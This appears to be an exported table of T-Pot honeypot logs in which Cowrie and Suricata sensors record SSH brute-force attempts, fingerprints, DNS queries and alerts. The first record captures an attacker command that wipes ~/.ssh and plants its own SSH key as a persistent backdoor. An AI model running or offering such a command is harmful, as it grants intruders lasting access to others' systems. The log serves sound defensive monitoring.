36204	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:50.147994+03	2021-09-20 15:15:04.27169+03	{"_id": "AgYfA3wBvYTbRNuEiGHp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "ec89c85ed1ab", "@version": "1", "timestamp": "2021-09-20T12:12:50.147994Z", "@timestamp": "2021-09-20T12:12:50.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	NL
36205	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:50.237587+03	2021-09-20 15:15:04.272719+03	{"_id": "_QYfA3wBvYTbRNuEiGDo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "23.97.240.235", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "ec89c85ed1ab", "@version": "1", "duration": 0.09022045135498047, "duplicate": true, "timestamp": "2021-09-20T12:12:50.237587Z", "@timestamp": "2021-09-20T12:12:50.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	NL
36206	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:12:36.86398+03	2021-09-20 15:15:04.27469+03	{"_id": "rwYfA3wBvYTbRNuEU2BM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16646, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2121129639816940, "@version": "1", "in_iface": "enp5s0", "src_port": 33186, "dest_port": 53, "timestamp": "2021-09-20T12:12:36.863980Z", "@timestamp": "2021-09-20T12:12:36.863Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36207	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:12:37.093381+03	2021-09-20 15:15:04.27569+03	{"_id": "vgYfA3wBvYTbRNuEVmAY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 189.50.42.214:43890 (192.168.176.2:22) [session: c27f65af1734]", "session": "c27f65af1734", "@version": "1", "protocol": "ssh", "src_port": 43890, "dest_port": 22, "timestamp": "2021-09-20T12:12:37.093381Z", "@timestamp": "2021-09-20T12:12:37.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	BR
36208	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:12:37.284437+03	2021-09-20 15:15:04.276691+03	{"_id": "xAYfA3wBvYTbRNuEV2A0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 39862, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1917, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 304036351135706, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 38238, "timestamp": "2021-09-20T12:12:37.284437Z", "@timestamp": "2021-09-20T12:12:37.284Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36249	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:13:12.133347+03	2021-09-20 15:15:04.332719+03	{"_id": "OgYfA3wBvYTbRNuE3WFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36232, "timestamp": "2021-09-20T12:13:12.133347", "@timestamp": "2021-09-20T12:13:12.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36209	189.50.42.214	109.199.241.180	Suricata	2021-09-20 15:12:37.328993+03	2021-09-20 15:15:04.278724+03	{"_id": "xQYfA3wBvYTbRNuEV2A0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "flow_id": 1226687668035015, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43890, "dest_port": 22, "timestamp": "2021-09-20T12:12:37.328993Z", "@timestamp": "2021-09-20T12:12:37.328Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	BR
36210	5.188.62.196	109.199.241.180	Suricata	2021-09-20 15:12:37.796845+03	2021-09-20 15:15:04.27972+03	{"_id": "wwYfA3wBvYTbRNuEV2A0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 105084876044533, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57714, "dest_port": 22, "timestamp": "2021-09-20T12:12:37.796845Z", "@timestamp": "2021-09-20T12:12:37.796Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
36211	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:12:37.731712+03	2021-09-20 15:15:04.28172+03	{"_id": "1wYfA3wBvYTbRNuEWmAB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:57714 (192.168.176.2:22) [session: a33d73301111]", "session": "a33d73301111", "@version": "1", "protocol": "ssh", "src_port": 57714, "dest_port": 22, "timestamp": "2021-09-20T12:12:37.731712Z", "@timestamp": "2021-09-20T12:12:37.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
36212	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:12:37.797555+03	2021-09-20 15:15:04.282719+03	{"_id": "2QYfA3wBvYTbRNuEWmAB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "a33d73301111", "@version": "1", "timestamp": "2021-09-20T12:12:37.797555Z", "@timestamp": "2021-09-20T12:12:37.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
36213	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:12:38.027553+03	2021-09-20 15:15:04.283722+03	{"_id": "2gYfA3wBvYTbRNuEWmAB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "a33d73301111", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:12:38.027553Z", "@timestamp": "2021-09-20T12:12:38.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
36214	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:12:39.101563+03	2021-09-20 15:15:04.284726+03	{"_id": "3AYfA3wBvYTbRNuEXWDq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "a33d73301111", "@version": "1", "duration": 1.3673365116119385, "timestamp": "2021-09-20T12:12:39.101563Z", "@timestamp": "2021-09-20T12:12:39.101Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
36215	184.30.25.218	109.199.241.180	Suricata	2021-09-20 15:12:51.56463+03	2021-09-20 15:15:04.285692+03	{"_id": "BgYfA3wBvYTbRNuEjWHr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:51.256477+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 205}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "184.30.25.218", "asn": 3257, "as_org": "GTT Communications Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "184.30.25.218", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1116242585053661, "payload": "FQMDABrm+IPauqcEn21su4rOJJS34tYJzS2Y3j168g==", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62447, "timestamp": "2021-09-20T12:12:51.564630Z", "@timestamp": "2021-09-20T12:12:51.564Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............ml...$......-..=z."}}	1	\N	\N	alert	\N	US
36216	184.30.25.218	109.199.241.180	Suricata	2021-09-20 15:12:51.32454+03	2021-09-20 15:15:04.287691+03	{"_id": "BwYfA3wBvYTbRNuEjWHr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:51.256477+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "184.30.25.218", "asn": 3257, "as_org": "GTT Communications Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "184.30.25.218", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1116242585053661, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62447, "timestamp": "2021-09-20T12:12:51.324540Z", "@timestamp": "2021-09-20T12:12:51.324Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36217	184.30.25.218	109.199.241.180	Suricata	2021-09-20 15:12:51.256477+03	2021-09-20 15:15:04.28869+03	{"_id": "BQYfA3wBvYTbRNuEjWHr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:51.256477+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "184.30.25.218", "asn": 3257, "as_org": "GTT Communications Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "184.30.25.218", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1116242585053661, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62447, "timestamp": "2021-09-20T12:12:51.256477Z", "@timestamp": "2021-09-20T12:12:51.256Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36218	8.37.43.243	109.199.241.180	Suricata	2021-09-20 15:13:11.363901+03	2021-09-20 15:15:04.28969+03	{"_id": "NAYfA3wBvYTbRNuE3GES", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.55.41.7533341109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "proto": "TCP", "src_ip": "8.37.43.243", "dest_ip": "192.168.20.116", "flow_id": 248384314572484, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53270, "dest_port": 22, "timestamp": "2021-09-20T12:13:11.363901Z", "@timestamp": "2021-09-20T12:13:11.363Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	JP
36219	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:13:12.038127+03	2021-09-20 15:15:04.29169+03	{"_id": "PwYfA3wBvYTbRNuE32H8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 60113, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1882, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2221838035357087, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 34471, "timestamp": "2021-09-20T12:13:12.038127Z", "@timestamp": "2021-09-20T12:13:12.038Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36220	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:13:13.561407+03	2021-09-20 15:15:04.292689+03	{"_id": "SAYfA3wBvYTbRNuE4mHL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c356669a9113", "@version": "1", "timestamp": "2021-09-20T12:13:13.561407Z", "@timestamp": "2021-09-20T12:13:13.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36221	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:13:13.000552+03	2021-09-20 15:15:04.293689+03	{"_id": "SQYfA3wBvYTbRNuE42Hl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:12.710590+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 2038455812806590, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 31344, 